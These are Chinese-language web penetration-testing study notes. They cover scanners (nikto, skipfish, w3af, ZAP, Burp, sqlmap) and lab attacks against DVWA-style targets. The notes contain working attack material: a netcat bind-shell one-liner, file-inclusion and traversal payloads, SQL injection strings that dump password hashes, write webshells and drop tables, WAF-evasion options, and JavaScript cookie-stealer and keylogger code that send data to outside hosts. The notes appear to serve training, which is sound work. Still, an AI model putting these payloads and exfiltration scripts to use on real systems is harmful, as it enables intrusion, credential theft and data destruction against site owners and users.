抓包协议分析
一般每300M分成一个包,这样抓包分析工具打开速度不会太慢。
首先剔除对分析没有用处的协议,剔除IP地址是224以上的组播地址。
WEB攻击面
Network、OS、WEB Server、App server、Web Application、Database、Browser
重要的header
• Set-Cookie:服务器发给客户端的SessionlD (被窃取的风险)
• Content-Length:响应body部分的字节长度
•Location:重定向用户到另一个页面,可识别身份认证后允许访问的页面
• Cookie:客户端发回给服务器证明用户状态的信息(头值成对出现)
• Referer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容易被修改绕过
服务端响应的状态码表示响应的结果类型(5大类50多个具体响应码)
100s:服务器晌应的信息,通常表示服务器还有后续处理,很少出现
200s:请求被服务器成功接受并处理后返回的响应结果
300s:重定向,通常在身份认证成功后重定向到一个安全页面(301/302)
400s:表示客户端请求错误
• 401:需要身份验证
• 403:拒绝访问
• 404:目标未发现
500s:服务器内部错误(503:服务不可用} http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
侦察:httracker 先将网站下载下来,减少与目标系统的交互。
扫描工具:
nikto
Perl语言开发的开源web安全扫描器
软件版本
搜索存在安全隐患的文件
服务器配置漏洞
WEB Application层面的安全隐患
避免404误判
•很多服务器不遵守RFC标准,对于不存在的对象返回200晌应码
•依据响应文件内容判断,不同扩屐名的文件404响应内容不同
•去除时间信息后的内容取MD5值
• -no404
命令:
nikto -list-plugins 查看所有插件
nikto -update 升级插件,但现在不可用,需要:
git clone https://github.com/sullo/nikto.git Nikto,再git pull
或到下面网址下载
http://cirt.net/nikto/UPDATES
nikto -host http://1.1.1.1 扫描1.1.1.1
nikto -host 192.168.1.1 -ssl -port 443,8443,995 扫描目标的https443端口等
nikto -host host.txt 指定多个目标地址
nmap -p80 192.168.1.0/24 -oG - | nikto -host - 将Nmap的扫描结果IP地址作为目标通过nikto扫描
nikto -host 192.168.1.1 -useproxy http://localhost:8087 使用代理扫描
nikto -vhost www.baidu.com 扫描同一IP上的不同网站
执行过程中可以使用的命令:
空格 – report current scan status
v – verbose mode on/off
d – debug mode on/off
e – error reporting on/off
p – progress reporting on/off
r – redirect display on/off
c – cookie display on/off
a – auth display on/off
q – quit
N – next host
P - Pause
配罝文件:
/etc/nikto.conf 修改UA等参数,
STATIC-COOKIE=“cookie1”=“cookie value”;“cookie2”=“cookie value”
-evasion:使用LibWhisker中对IDS的躲避技术,可使用以下几种类型:
1随机URL编码(非UTF-8方式)
2自选择路径(/./)
3过早结束的URL
4优先考虑长随机字符串
5参数欺骗
6使用TAB作为命令的分隔符
7使用变化的URL
8使用Windows路径分隔符""
vega(Kali已不再提供)
skipfish
C语言编写
实验性的主动web安全评估工具
递归爬网
基于字典的探测
速度较快
•多路单线程,全异步网络I/O,消除内存管理和调度开销
•启发式自动内容识别
误报较低
skipfish -o test http://1.1.1.1
skipfish -o test @url.txt
skipfish -o test -S complet.wl -W a.wl http://1.1.1.1 -S指定字典 -W将这个网站特有的字符串名称存入a.wl字典
-I :只检查包含’string’的URL
-X:不检查包含’string’的URL,例如logout,扫了就退出登录了
-K :不对指定参数进行Fuzz测试
-D :跨站点爬另外一个域
-I :每秒最大请求数
-m :每IP最大并发连接数
–config:指定配置文件
身份认证
skipfish -A user:pass -o test http://1.1.1.1 http基本身份认证
skipfish -C “name=val” [-C “name1=val1”] -o test http://1.1.1.1 cookie认证
让skipfish填用户名和密码的方式查看man中的–auth相关参数
扫描速度太快,出发了目标站点的连接数限制,降低-m -l数值
Web Application Attack and Audit Framework,基于Python语言开发
此框架的目标是帮助你发现和利用所有WEB应用程序漏洞
9大类近150个plugin:audit、infrastructure、grep、evasion、mangle、auth、bruteforce、output、crawl
(升级,在目录内git pull)
help 显示可用指令
plugin 进入plugin子命令:list audit列出audit类所有插件,audit sqli xss选择使用的audit插件 ,audit all选择全部audit插件,一般选择audit all、grep all、crawl web_spider
http-settings、misc-settings全局配罝:view查看可配置的参数,set设置参数,back回到上一级命令
Profiles
save_as test self-contained保存当前配置以及本地字典等为test并可在其他电脑使用
use test使用配置test
Target
set target http://1.1.1.1/
start 开始扫描
script/*.w3af 使用脚本
使用COOKIE认证要使用文件并且有严格的格式要求
通过使用截断代理,设置HTTP header file,满足HTTP头的身份认证方式
截断代理history选项卡下fuzz按钮内,语法可参考syntax help选项卡;compare按钮可以比较两次内容的不同,对漏洞的手动挖掘常用此法
最上方generate manual HTTP request手动向服务器发送请求
w3af不支持客户端技术(JavaScript,flash,Java applet等)
截断代理手动爬网:选择使用spider_man插件后进行手动爬网,http://127.7.7.7/spider_man?terminate停止spider_man;使用output下的export_requests保存爬网结果并以后可以使用import_results导入使用,不用再次爬网。
exploit:可以直接使用w3af对漏洞进行利用。
arachni
Dispatcher:在arachni目录下:./arachni_rpcd --address=127.0.0.1 --port=1111 --nickname=test1,指定一个昵称为test1的dispatcher,随后在网页端可以使用此test1。
Grid:./arachni_rpcd --nickname=test2 --address=127.0.0.1 --neighbour=127.0.0.1:1111,设置一个grid,将现有的dispatcher加入到grid里面。
在指定neighbor时最好以链形式一个指一个,而不是许多dispatcher指向同一个。
WEB Application集成渗透测试和漏洞挖掘工具
开源跨平台
截断代理:127.0.0.1:8080,截断功能在上方圆形按钮开启
主动、被动扫描
Fuzz、暴力破解
API:http://zap/(通过ZAP代理)
Persist Session 刚进入软件选择2保存会话到指定位置,下次可以打开以继续工作
Mode——Safe Protected Standard ATTACK
升级add-ons
scan policy
anti CSRF tokens 在设置里
https——CA 添加证书到浏览器,可以防止危险警告,在设置里
Scope / Contexts / filter 右键网站或子目录,include in context新建上下文,可以只查看所选站点,减少干扰
Http Sessions——default session tokens & site session tokens 功能按钮在最上方,设定上下文后,可以设置指定站点的身份认证方式,默认的manual就好使,设置中HTTP session里默认包含了一些cookie中认为是session的字段,例如dvwa的cookie中的security字段就需要自己添加进去,在查看—HTTP sessions tab里可以右键选择active,实现身份切换。
Note / tag 添加记录和标签
Passive scan 被动扫描
上方灯泡按钮可以显示页面中隐藏的表单等
PortSwigger公司开发
所有的工具共享一个能处理并显示HTTP消息的可扩扎框架,模块之间无缝交换信息
proxy 代理功能:
options:
invisible 使用透明代理+重定向,用作请求路径是相对路径的情况,例如手机微信客户端,或者是多个目标域名,创建多块环回网卡,分别指定一个重定向ip和端口
CA 证书的导出供浏览器安装
intercept入站出站
response modify
target目标:
scope范围,将站点加入范围可进行只看范围内站点的筛选操作,将logout类似字段加入排除的范围以防止登出
filter筛选,点击上方白色条进入筛选器,可以只仅显示带参数的请求等
comparing site map 对比站点地图,可以对比两个站点地图请求响应的不同以及目录结构的不同,例如对比两个登陆账户所能看到的页面的不同
Active / Passive Scan
Extender:BApp Store :Jython http://www.jython.org/downloads.html
Option
Scan queue
Result
intruder: 类似fuzz功能
positions 选择变量和攻击类型
PAYLOAD
•Simple list
•Runtime file
•Character substitution
•Case modification
•Character blocks 字符块 发送大量字符 可用在缓冲区溢出
•Numbers 、Copy other payload
•Dates、Brute forcer、Character frobber、Username generator
•Dates
OPTIONS
•Grep match
repeater 手动发送请求给目标
Request History
Change request method
Change body encoding
Copy as curl command
Convert selection
Repeater菜单:
Engagement tools——generate csrf PoC
Follow redirections
Process cookies in redirections 带着cookies重定向
sequencer
分析程序中可预测的数据
Session cookies
anti-CSRF tokens
Start live capture:
Analyze 数据越多分析越准确
伪随机数算法
Character-level
Bit-level。
FIPS—美国联邦信息处理标准Federal Information Processing Standard
decoder
使用各种编码绕过服务器端输入过滤
smart decode
自动手动爬网,支持AJAX、JavaScript
AcuSensor灰盒测试
•发现爬网无法发现文件
•额外的漏洞扫描
•可发现存在漏洞的源码行号
•支持PHP、.NET (不获取源码的情况下注入已编译.NET)
生成PCI、27001标准和规报告
网络扫描
•FTP, DNS, SMTP, IMAP, POP3, SSH, SNMP, Telnet
•集成openvas扫描漏洞
爬站、子域扫描器、发现扫描器、SQL注入验证、Http editor、Http sniffer、HTTP Fuzzer、身份认证测试、结果比较。
AcuSensor安装:生成agent文件acu_phpaspect.php(PHP5.0以上);将文件拷贝到目标服务器,web程序可以访问到的目录;修改.htaccess或php.ini:php_value auto_prepend_file ‘[path to acu_phpaspect.php file]’
watchfire appscan,2007年被IBM收购,成为IBM appscan
扫描过程:探索阶段、测试阶段,不仅是APPSCAN,所有扫描器都建议先用手动方式爬网,再自动爬网,最后再进行扫描。
第一个过程发现的新的URL地址,下一个扫描过程自动追加扫描
软件安装
向导方式
完全配置
glass box:相当于acusensor,agent收集服务器端源代码信息和其他数据,支持JAVA、.NET两种平台。
默认安装导致的漏洞
Windows默认安装漏洞
phpMyAdmin/setup :
POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1±d
+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Ubuntu / Debian默认安装PHP5-cgi,可直接访问/cgi-bin/php5和/cgi-bin/php,一般扫描器是爬不出来的,因为不在/var/www下
PHP反弹shell:/usr/share/webshells/php/php-reverse-shell.php,将文件里的内容通过漏洞直接让目标服务器执行,这样不会在服务器留下文件之类的痕迹,比较隐蔽,执行后就直接获得到了对方的shell
whereis ifconfig 因为是www-data账号,所以不能直接ifconfig,需要whereis下,找到ifconfig的地址,再尝试执行。
写入webshell:echo “” > /var/www/3.php ,这样可以直接在3.php页面的URL后跟上参数直接运行系统命令。
身份认证
弱口令、基于自点的密码爆破
锁定账号机制可以防止爆破
信息收集 例如论坛等一些用户排行榜 手机号一般隐藏中间四位等 这样可以大大减少尝试的工作量 获得存在的用户名
错误密码提示信息 提示用户名不存在 提示密码错误 这样的提示不安全,只提示登陆错误才可,有些虽然只提示登陆错误,但抓包分析后会发现response中会有不同的错误代码等,也可以判断用户名是否存在。
密码嗅探
会话sessionID:
XSS/cookie importer
SessionID in URL 在URL中传输sessionID是非常不安全的
嗅探
sessionID长期不变或永久不变 是不安全的,退出登陆再点后退键是不应该可以返回到之前登陆可以查看的页面的;直接关闭页面没有点退出登录,应该有超时时间,长期有效的sessionID是不妥的。
sessionID生成算法:
sequencer
私有算法 采用公开的加密算法是主流做法,自己建立的算法很可能加较为脆弱
预判下一次登陆时生成的sessionID
密码找回: https://www.example.com/[email protected]&key=b4c9a289323b21a01c3e940f150eb9b8c542587f1abfd8f0e1cc1ffc5e475514,如果这里的key随机数生成是可以预测的,例如直接使用哈希算法等,那么任何人都可以重置密码。
漏洞挖掘原则
所有变量
所有头:cookie中的变量
逐个变量删除 将服务器不处理的变量逐个试出来删除掉,可以简化工作
漏洞的本质:
数据与指令的混淆
对用户输入信息过滤不严判断失误,误将指令当数据。
应用程序开发者直接调用操作系统功能,此时可以尝试;、|、||、&、&&
源码应该有过滤用户输入的功能
;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe 此命令使目标主机开放侦听4444端口
目录遍历是目录权限限制不严,可直接访问本地其他目录的文件;文件包含是改变include的目标;这两个的利用方法都是在url变量处输入其他目录;文件包含还分为本地文件包含local file include(LFI,和远程文件包含remote file include (RFI。
/etc/php5/cgi/php.ini :allow_url_include = on, 设置成on时才可以进行文件包含
特征一般为:?page=a.php、?home=b.html、?home=b.html、?file=content。
经典测试方法:
?file=…/…/…/…/etc/passwd 通过…/访问到根目录
?page=file:///etc/passwd 使用绝对路径方式
?home=main.cgi 此文件一般含有重要信息
?page=http://www.a.com/1.php 远程文件包含
http://1.1.1.1/…/…/…/…/dir/file.txt 。
编码绕过字符过滤:
在文件吗后加.或%00尝试绕过文件扩展名过滤,让服务器自动加的.php后缀失效,例如?file=a.doc%00.php。
使用多种编码尝试,常见的有:
url编码、双层url编码:
%2e%2e%2f解码:…/
%2e%2e%5c解码:…\
%252e%252e%255c解码:…\ 。
Unicode/UTF-8编码。
类unix系统的目录分隔符是/,Windows的是\或/
其他系统路径可能使用到的字符:
•file.txt…
•file.txt
•file.txt””””
•file.txt<<<>>><
•./././file.txt
•nonexistant/…/file.txt
UNC路径:\1.1.1.1\path\to\file.txt
有时文件包含不在url中,在cookie中,注意检查cookie
本地文件包含:不仅是查看文件,也可以实现代码执行,例如向服务器发送的请求中包含 ,这段代码就会在Apache access.log中,再通过文件包含查看这个log并加上参数cmd的内容即可获得服务器的shell。
远程文件包含:出现概率小于LFI,但更容易被利用,例如直接包含一个网页木马。
/usr/share/wfuzz/wordlist/vulns/ 漏洞利用向量字典,利用burp的intruder使用
直接上传webshell
修改文件类型上传webshell
mimetype 根据文件头、扩展名辨别文件类型
修改扩展名上传webshell:静态解析文件扩展名时可能无法执行,解决:1.php.jpg
文件头绕过过滤上传webshell
防止漏洞的有效办法之一是不要赋予上传目录的执行权限
服务器端程序将用户输入作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
用户登录判断:
•SELECT * FROM users WHERE user=‘uname’ AND password=‘pass’
•SELECT * FROM users WHERE user=‘uname’ AND password=’’ OR ‘’=’’
基于报错的检测方法:’ " % ( ),当成对出现的符号单个出现时,就会报错
基于布尔的检测:1’ and ‘1’=‘1 简化:1’ and ‘1 ; 1’ and ‘1’=‘2 简化:1’ and '0
表列数 / 显示信息位于哪一列:
’ order by 0–+ 按查询列号排序,–是注释符,+可以换为空格
select * 时表字段数=查询字段数 。
联合查询:
’ union select 1,2–+
’ union all select database().2–+
’ union select database(),substring_index(USER(),"@",1)–
其他函数:user():DB用户;version():DB版本
全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
当前库:database();ASCII转字符:char();
连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())
计算哈希:md5()
Mysql数据结构:information_schema
所有库所有表、统计每个库中表的数量:
’ union select table_name,table_schema from information_schema.tables–+
’ union select table_schema,count(*) from information_schema.tables group by
table_schema –
DVWA库中的表名:
’ union select table_name,table_schema from information_schema.tables where
table_schema=‘dvwa’–+
user表中所有的列:
’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ --+
结果是user_id first_name last_name user password avatar
查询user、password列的内容
’ union select user,password from dvwa.users–+
’ union select user,password from users–+
’ union select null, concat(user,0x3a,password) from users–+
密码破解:
username:passhash ——> dvwa.txt
john --format=raw-MD5 dvwa.txt
读取文件:’ union SELECT null, load_file(’/etc/passwd’)–+
写入文件: union select null,"" INTO DUMPFILE “/var/www/a.php” --+ 读取和写入这些操作都要看当前的mysql账户的权限,受限时可以存在/tmp目录中,再结合文件包含漏洞执行。
cat php-revers-shell.php | xxd -ps | tr -d ‘\n’ 转成16进制并去掉换行符,方便绕过系统对URL中敏感字符的过滤,如下:
’ union select null, (0x3c3f706870) INTO DUMPFILE ‘/tmp/x.php’-- 。
当数据库过大,可以导出数据库,保存下载数据库:
’ union select null, concat(user,0x3a,password) from users INTO OUTFILE ‘/tmp/a.db’-- 有限制时就只能每次限制显示一部分,随后拼接好
一个思路:编写服务器端代码:当尝试获取管理员帐号密码失败时,可以利用有限的权限在服务器放置一个功能,例如添加管理员帐号,添加一个新的,也可以达到同样效果。
无权读取information_schema库 / 拒绝union、order by语句:
猜列名:’ and column123 is null–+ 可以find / -name column.txt找到列名字典,再用burp的intruder。
猜当前表表名:’ and table123.user is null–+ 已知user列,猜user列所在的表名,同上,找table字典进行爆破,当然也可以猜库名,db123.table.user。
猜库里其他表:’ and (select count(*) from table123)>0–+
猜字段内容:’ or user=‘admin123 或 ’ or user like ‘%a%
猜帐号对应密码:’ or user=‘admin’ and password=‘5f4dc…密码字典逐条MD5
当数据库可写:
‘; update users set user=‘abc123’ where user=‘admin
metasploitable靶机会注入失败,这是sql客户端工具的问题
‘; INSERT INTO users (’ user_id’,’ first_name’,’ last_name’,’ user’,‘password’,‘avatar’) VALUES (‘35’,‘hl’,‘f’,‘fhl’,‘5f4dcc3b5aa765d61d8327deb882cf99’,‘OK’);–+
'; DROP TABLE users; – 删除表
不显示数据库内建的报错信息
内建的报错信息帮助开发人员发现和修复问题
报错信息提供关于系统的大量有用信息
当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结束,即 盲
思路:既然无法基于报错信息判断结果,则基于逻辑真假的不同结果来判断
1‘ and 1=1–+ 、 1‘ and 1=2–+
1’ order by 5–+ 假;1’ order by 2–+ 真
1’ union select 1,2–+
1’ union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())–+
1’ and 1=0 union select null,table_name from information_schema.tables#
1’ and 1=0 union select null,table_name from information_schema.columns where table_name=‘users’ #
无权读取information_schema库 / 拒绝union、order by 语句:
猜列名:1’ and column123 is not null–+
猜当前表表名:1’ and table123.user is not null–+
猜库里其他表:1’ and (select count(*) from table123)>0–+
猜字段内容:1’ and user=‘admin123 或 1’ or user like ‘%a%
猜帐号对应密码:2’ and user=‘admin’ and password=‘5f4dc…
1’ and ORD(MID((VERSION()),1,1))&1>0–+ 通过不断尝试&1、2、4、16…128确定ASCII码,逐个解出所需信息,适用于仅能发现真假差别而不能得到查询结果。
开源sql注入漏洞检测、利用工具
检测动态页面中get/post参数、cookie、http头
数据榨取
文件系统访问
操作系统命令执行
引擎强大、特性丰富
Xss漏洞检测
五种漏洞检测技术
基于布尔的盲注检测
基于时间的盲注检测
• ’ and (select * from (select(sleep(20)))a)–+
基于锗误的检测
基于UNION联合查询的检测
•适用于通过循环直接输出联合査询结果,否则只显示第一项结果
基于堆叠查询的检测
•用;堆叠多个查询语句 •适用于非select的数据修改、删除的操作
支持的数据库管理系统DBMS
•MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase , SAP MaxDB
其他特性:
数据库直接连接-d
•不通过SQL注入,制定身份认证倍悤、IP、端口
与burpsuite、google结合使用,支持正则表达式限定测试目标
Get、posts、cookie、Referer、User-Agent (随机或指定)
• Cookie过期后自动处理Set-Cookie头,更新cookie信息
限速:最大并发、延迟发送
支持Basic, Digest, NTLM, CA身份认证
数据库版本、用户、权限、hosh枚举和字典破解、暴力破解表列名称
文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
与w3af、melasploit集成结合使用,基于数据库服务进程提权和上传执行后门
sqlmap -h / -hh 常用命令帮助及所有命令帮助
get方法:sqlmap -u “http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details” -p username -f
以上是最简单的一条扫描命令
-p 只针对指定的这个参数进行注入
-f 根据指纹信息确定使用的数据库系统
–users 查找数据库所有账户
–banner 查看banner信息
–dbs 查看有哪些库
–schema 查看information_schema信息
-a 能查的都查了
sqlmap -d “mysql://user:[email protected]:3306/dvwa” -f --users --banner --dbs --schema -a -d作为客户端直连数据库
扫描URL列表文件:
http://1.1.1.1/vuln1.php?q=foobar
http://1.1.1.1/vuln3/id/1*
sqlmap -m list.txt
扫描google搜索结果:sqlmap.py -g “inurl:”.php?id=1""
POST方法:使用http请求文件,burp抓取并存下来,sqlmap -r request.txt ,或使用burp的log文件,sqlmap -l log.txt
HTTPS:sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl
扫描配置文件:sqlmap -c sqlmap.conf
REQUEST:
数据段 --data:
get/post都适用
sqlmap -u “http://1.1.1.1/a.php” --data=“user=1&pass=2” -f
变量分隔符 --param-del:
http://1.1.1.1/a.php?q=foo;id=1 例如是分号
sqlmap -u “http://1.1.1.1/a.php” --data=“q=foo;id=1” --param-del=";" -f
cookie头 --cookie:
web应用需要基于cookie的身份认证
检查cookie中的注入点(level>=2)
Set-Cookie sqlmap会自动更新服务器发来的新的cookie,如果不想更新,一直用原来的,那么加上–drop-set-cookie参数,–cookie-del
sqlmap -u “http://1.1.1.1/a.php?id=1” --cookie=“a=1;b=2” -f
–user-agent
•sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
–random-agent 设置随机的UA
•/usr/share/sqlmap/txt/user-agents.txt
sqlmap检查user-agent中的注入点:level>=3
APP/WAF/IPS/IDS过滤异常user-agent时报错
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent
host头 --host:level=5
referer头 --referer:level>=3
额外的header --headers:每个头单独一行,名称区分大小写,sqlmap -u “http://1.1.1.1/a.php?id=1” --headers=“host:www.a.com\nUser-Agent:abc123”
–method=GET/POST 指定请求使用的方法,默认先试get再用post
基于HTTP协议的身份验证:basic、digest、NTML,sqlmap. -u “http://1.1.1.1/a.php?id=1” --auth-type Basic --auth-cred “user:pass“
–auth-cert / --auth-file
•–auth-file=“ca.PEM”
含有私钥的PEM格式证书文件或PEM格式的证书链文件
http(s)代理:–proxy=“http://127.0.0.1:8087” 、–proxy-cred=“name:pass”
–ignore-proxy 忽略系统级代理设置,通常用于扫描本地网络目标
sqlmap -u “http://1.1.1.1/a.php?id=1” --proxy=“http://127.0.0.1:8087” -f
–delay 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟
-timeout 请求超时时间,浮点数,默认为30秒
–retries http(s)连接超时重试次数,默认3次
–randomize 长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
-scope
•过滤日志内容,通过正则表达式筛选扫描对象
• sqlmap-l burp.log --scope=”(www)?.target.(com|net|org)"
• sqlmap -I 2.log -scope="(19)?.168.20.(1|10|100)" -level 3 --dbs
• User-Agent中的注入点
–safe-url 指定safe扫描的URL
–safe-freq
•检测和盲注阶段会产生大星失败请求,服务器端可能因此销毁session
•每发送–safe-freq次注入请求后,发送一次正常请求
–skip-urlencode
•默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
–eval
•每次请求前执行指定的python代码
•每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
• sqlmap-u “http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b” --eval=“import hashlib;hash=hashlib.md5(id).hexdigest()”
OPTIMIZATION:
优化性能
–predict-output
•根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
•版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
•与–threads参数不兼容
•统计表:/usr/share/sqlmap/txt/common-outputs.txt
–keep-alive
•使用http(s)长连接,性能好
•与–proxy参数不兼容
•长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
–null-connection
•只获取相应页面的大小值,而非页面具体内容
•通常用于盲注判断真/假,降低网络带宽消耗
•与–text-only参数不兼容(基于页面内容的比较判断真/假)
–threads
•最大并发线程
•盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
•默认值为1,建议不要超过10,否则可能影晌站点可用性
•与–predict-output参数不兼容
•-o开启前三个性能参数(除–threads参数)
INJECTION:
-p:指定扫描的参数,使–level失效;-p “user-agent, referer”
–skip:排除指定的扫描参数;–level=5 --skip=“id,user-agent”
URI注入点:sqlmap -u “http://targeturl/param1/value1*/param2/value2*/”
–dbms=“mysql”: MySQL <5.0>、Oracle <11i> 、Microsoft SQL Server <2005>、Microsoft SQL Server <2005>、PostgreSQL 、Microsoft Access 、SQLite 、Firebird 、Sybase 、SAP MaxDB、SAP MaxDB、DB2
–os:linux 、windows
–invalid-bignum、 --invalid-logical:通常sqlmap使用负值使参数取值失效,例如id=13–>id=-13;bignum使用大数使参数值失效id=99999999;logical使用布尔判断使取值失效id=12 AND 18=19
–no-cast:榨取数据时,sqlmap将所有结果转换为字符串,并且用空格替换NULL结果;老版本mysql数据库需要开启此开关
–no-escape:出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串;SELECT ‘foo’ --> SELECT CHAR(102)+CHAR(111)+CHAR(111);此参数将关闭此功能
–prefix、–suffix:
$query = “SELECT * FROM users WHERE id=(’” . $_GET[‘id’] . “’) LIMIT 0, 1”;
sqlmap -u “http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (‘abc’='abc”
query = “SELECT * FROM users WHERE id=(‘1’) AND
(‘abc’=‘abc’) LIMIT 0, 1”;
–tamper:混淆脚本,用于绕过应用层过滤、IPS、WAF;
sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper=“tamper/between.py,tamper/randomcase.py,tamper/space2comment.py” -v 3
DETECTION:
–level
• 1-5级(默认1)
• /usr/share/sqlmap/xml/payloads
–risk
• 1-4 (默认1/无害)
• Risk升高可造成数据被篡改等风险(update)
• --string, --not-string, --regexp, --code, --text-only, --titles
•页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串。
TECHNIQUES:
默认使用全部技术
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries(文件系统、操作系统、注册表必须)
T: Time-based blind
–time-sec
•基于时间的注入检测相应延迟时间(默认5秒)
–union-cols
•默认联合查询1-10列,随–level增加最多支持50列
•–union-cols 6-9
–union-char
联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值–union-char 123
–dns-domain:攻击者控制了某DNS服务器,使用此功能可以提高数的榨取的速度,–dns-domain attacker.com
–second-order:在一个页面注入的结果,要另在一个页面发现的时候使用此参数,–second-order http://1.1.1.1/b.php
-f , --fingerprint, -b , --banner :数据库管理系统指纹信息,DBMS、操作系统、架构、补丁
ENUMERATION:
–current-user 当前数据库管理系统帐号
–current-db 当前数据库名称
–hostname 主机名
–users 所有数据库帐号
–privileges -U username(CU当前帐号,不指定就是查所有账户) 查询用户权限
–roles
–dbs
–tables, 查所有表–exclude-sysdbs排除系统表不查 –D dvwa 指定dvwa库
–columns查所有列,-T users -D dvwa -C user 指定表、库、列
–schema --batch --exclude-sysdbs 元数据(–batch全使用默认选项)
–count 统计个数
dump数据:
–dump, -C, -T, -D, --start, --stop
–dump-all --exclude-sysdbs
–sql-query “select * from users”
BRUTE FORCE:
Mysql < 5.0,没有 information—schema 库
Mysql >= 5.0,但无权读取information_schema 库
微软的access数据库,默认无权读取MSysObjects库
–common-tables
–common-columns (Access 系统表无列信息)
UDF INJECTION:
–udf-inject , --shared-lib:
编译共享库创建并上传至DB server,以此生成UDF实现高级注入
linux:shared object
windows:DLL
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-
full-control-whitepaper-4633857
FILE SYSTEM:
–file-read="/etc/passwd"
–file-write=“shell.php” --file-dest “/tmp/shell.php”
OS:
Mysql 、postgresql :上传共享库并生成sys_exec()、sys_eval()两个UDF
MSsql:xp_cmdshell存储过程(有就用、禁了启、没有建)
–sql-shell 、–os-shell 、–os-cmd
WINDOWS REGISTORY:
–reg-read 、–reg-add 、–reg-del
–reg-key --reg-value --reg-data --reg-type
sqlmap –u=“http://1.1.1.1/a.aspx?id=1” --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1
GENERAL:
-s:sqlite会话文件保存位置
-t:记录流量文件保存位置
–charset:强制字符编码
• --charset=GBK
–crawl:从起始位置爬站深度
• --batch --crawl=3
–csv-del: dump数据默认存于",“分割的CSV文件中,指定其他分隔符
• --csv-del=”;"
–dbms-cred:指定数据库账号密码
–flush-session:清空session
–force-ssl
–fresh-queries:忽略session查询结果
–hex: dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原
• sqlmap -u “http://1.1.1.1/s.php?id=1” -hex -v 3
–output-dir=/tmp
–parse-errors:分析和显示数据库内建报错信息
• sqlmap.py -u “http://1.1.1.1/sqlmap/a.asp?id=1” -parse-errors
–save:将命令保存成配置文件
MISCELLANEOUS:
-z:参数助记符
sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u “1.1.1.1/a.php?id=1”
•sqlmap -z “bat,randoma,ign,tec=BEU” -u “1.1.1.1/a.php?id=1”
•sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “1.1.1.1/a.php?id=1”
•sqlmap -z “ign,flu,bat,tec=U,dump,D=testdb,T=users” -u “1.1.1.1/vuln.php?id=1”
–answer
•sqlmap -u “http://1.1.1.1/a.php?id=1”–technique=E --answers=“extending=N” --batch
•–check-waf:检测WAF/IPS/IDS
•–hpp:HTTP parameter pollution:绕过WAF/IPS/IDS的有效方法,尤其对ASP/IIS和ASP.NET/IIS
–identify-waf:彻底的waf/ips/ids检查:支持30多种产品
–mobile:模拟智能手机设备
–purge-output:清除output文件夹
–smart:当有大量检测目标时,只选择基于错误的检测结果
–wizard:向导
攻击WEB客户端
客户端脚本语言:弹窗告警、广告、JavaScript、在浏览器中执行
XSS(cross-site scripting):通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的;注入客户端脚本代码;盗取cookie;重定向
VBScript, ActiveX, or Flash
JavaScript:与Java语言无关,命名完全出于市场原因,使用最广的客户端脚本语言
使用场景:直接嵌入html:
窃取cookie
a.js源码:var img = new Image();
img.src = “http://1.1.1.1/cookies.php?cookie=”+document.cookie;
Keylogger.js :
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open(“POST”,“http://192.168.20.8/keylogger.php”,true); http.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
http.send(“key=”+param);
}
}
Keylogger.php